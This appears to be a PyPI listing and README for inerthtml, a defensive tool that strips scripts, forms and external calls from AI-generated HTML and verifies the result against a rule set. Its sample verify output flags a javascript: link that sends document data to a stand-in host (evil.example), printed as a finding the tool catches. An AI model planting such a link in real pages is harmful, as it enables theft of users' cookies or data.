inerthtml
HTML that looks the same but can't do anything.
Turn AI-generated HTML into one static file that is safe to share.
Charts are frozen, assets are embedded, scripts are gone, and anyone can verify it.
Check a file in your browser · The inert/1 rules · Use with AI agents
Why
AI is great at writing HTML: reports, dashboards and write-ups with real charts and layout. Sharing that HTML is the problem:
- People can't trust it. An
.htmlattachment can run JavaScript, show a fake login form, load trackers or assemble malware in the browser ("HTML smuggling"). Mail gateways block or flag HTML attachments for exactly this reason. - PDF export loses fidelity. Page breaks cut through layouts, print styles change how things look, and the result stops being a web page.
inerthtml keeps the HTML and removes everything that can act. What you get looks the same, opens in any browser, works offline, and comes with a rule set (inert/1) that anyone can check.
Quick start
pip install inerthtml
playwright install chromium # one-time, for rendering charts
inerthtml build report.html # → report.inert.html
inerthtml verify report.inert.html # ✓ PASS (exit code 1 on failure)
Prefer not to install anything? Drop a file on the web checker. It runs entirely in your browser and never uploads the file.
What inerthtml build does
- Render. Opens the page in headless Chromium and lets its JavaScript draw: D3, ECharts, Plotly, Vega, Chart.js and so on.
- Freeze. SVG charts stay as crisp vector SVG.
<canvas>charts become high-DPI PNGs. Form values and CSS-in-JS styles are baked in. - Embed. Stylesheets,
@imports, fonts and images become inline<style>blocks anddata:URIs. The file needs nothing from the network. - Strip. Removes scripts, event handlers,
javascript:anddata:links, forms, password and file fields, iframes, objects,<base>, meta refresh, tracking pixels and every external URL. - Lock. Adds a strict Content Security Policy, so the browser blocks scripts and network access even if something slips through.
- Verify. Checks its own output against inert/1.
What you keep, what you lose
| Kept | Lost |
|---|---|
| Layout, CSS, web fonts, images | JavaScript of any kind |
| SVG charts (as vector) | Chart tooltips and other JS-driven hover effects |
| Canvas charts (as high-DPI images) | Live data, fetching, forms that submit |
<details>, :hover, :target tabs and other CSS-only interactivity |
Audio, video and embedded frames |
Links to http(s), mailto:, tel: (unless --strip-links) |
Links to javascript:, data: and file: |
Tip: ask your AI to "render charts as SVG" (D3, ECharts with
renderer: 'svg', Plotly, Vega-Lite) so charts stay vector after freezing.
Verify any file
verify never runs the file. It parses the file and checks it against the
rules, so you can use it on files you don't trust:
$ inerthtml verify suspicious.html
✗ FAIL suspicious.html
- event handler onload on <body>
- forbidden <input type=password>
- forbidden element <form>
- forbidden element <script>
- missing CSP <meta> at the top of <head>
- unsafe link on <a>: javascript:fetch('https://evil.example/?c='+docum
Use --json for CI, mail filters or scripts.
Use it with AI agents
Claude Code / Claude skills: copy skills/inerthtml into your
skills folder. When Claude makes an HTML report you plan to share, it will
build an inert copy and check it.
Any agent: add this to your system prompt or project instructions:
When you create an HTML file meant to be shared, render charts as SVG, then run
inerthtml build <file>and share the resulting.inert.htmlfile.
Python:
from inerthtml import build, verify
html, warnings, problems = build("report.html")
assert problems == []
CLI reference
inerthtml build INPUT... [-o OUT | --out-dir DIR] [--width 1280] [--wait 2000]
[--scale 2] [--no-render] [--strip-links] [--offline]
inerthtml verify FILE... [--json]
| Option | Meaning |
|---|---|
--width |
Viewport width for rendering, in px |
--wait |
Extra milliseconds for chart animations to finish |
--scale |
Pixel density for canvas → PNG |
--no-render |
Skip the browser and sanitize the HTML as written (fast; JS-drawn content is lost) |
--strip-links |
Remove all hyperlinks but keep their text |
--offline |
Never fetch remote assets; only embed local files |
How is this different from…
| Opens in any browser | Keeps JS-drawn charts | No scripts | Checkable rule set | |
|---|---|---|---|---|
| inerthtml | ✓ | ✓ | ✓ | ✓ (inert/1) |
| PDF export | ✓ (PDF viewer) | ✓ | mostly | ✗ |
| SingleFile | ✓ | ✓ | optional | ✗ |
Monolith -j -I |
✓ | ✗ (doesn't run JS) | ✓ | ✗ |
PortableWeb .pweb |
needs a viewer | ✓ | ✗ (sandboxed JS) | in progress |
| Hosted links (Pages, share services) | ✓ | ✓ | ✗ | ✗ |
SingleFile and Monolith are excellent page archivers, and inerthtml borrows ideas from both. The difference is the goal: inerthtml is built to make documents you share, with a written rule set and a verifier anyone can run.
FAQ
Can't someone just edit the file and add a script back?
Yes, anyone can edit any file. They can't do it undetected: the edited file
fails inerthtml verify, and the CSP still blocks scripts unless they remove it
too. Verify, don't trust. Signing is on the roadmap.
Will email stop flagging it?
Not yet. Gateways decide by file type. The rule set and verify --json exist
so gateways and mail clients can tell inert files apart. For now, a link or a
zip is often the smoothest way to share.
Is the content safe now?
inerthtml makes sure the file can't do anything. It can't make the text
truthful: a file can still say "call this number". Use --strip-links if
links aren't needed.
Why is the file big? Fonts and images are embedded. Google Fonts in particular ship many subsets.
Roadmap
-
npx inerthtml(Node port of the CLI) - Browser extension: right-click → "open as inert"
- Font subsetting for smaller files
- Optional detached signatures (
inerthtml sign/inerthtml verify --sig) - Full sanitize-and-embed in the web checker
Ideas and pull requests are welcome. See CONTRIBUTING.md.
License
MIT for the code, CC-BY 4.0 for SPEC.md.
Metadata
Release files for inerthtml 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | |
|---|---|---|---|---|
| inerthtml-0.1.0.tar.gz | 1.2 MB | With provenance | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| inerthtml-0.1.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 1.3 MB
Release files / inerthtml-0.1.0.tar.gz
| Download URL | inerthtml-0.1.0.tar.gz |
|---|---|
| Size | 1.2 MB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
91015f0e141c58acd64c288ab38a4f8389975493e5d2dd62d10749c80f618fd8
|
|
BLAKE2b-256 checksum How to use checksums |
23a3a89643289d0b3f62930ed3cb3e863c52aded4b5fabdba8f75d2dd50a1752
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.
Transparency logRelease files / inerthtml-0.1.0-py3-none-any.whl
| Download URL | inerthtml-0.1.0-py3-none-any.whl |
|---|---|
| Size | 15.8 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
0366f7a4502957bb8d4d1a3ea3d64b897faa6f7bd71a94864793f8898cdf2480
|
|
BLAKE2b-256 checksum How to use checksums |
837c4dc1bccbbc34ff2d831378aee338f439363cf882a506246be543c9841959
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.
Transparency logSecurity for inerthtml 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
Full provenance
All 2 files in this release have been uploaded with provenance metadata.
Attestation for inerthtml-0.1.0.tar.gz
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 12, 2026.
Transparency logA note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.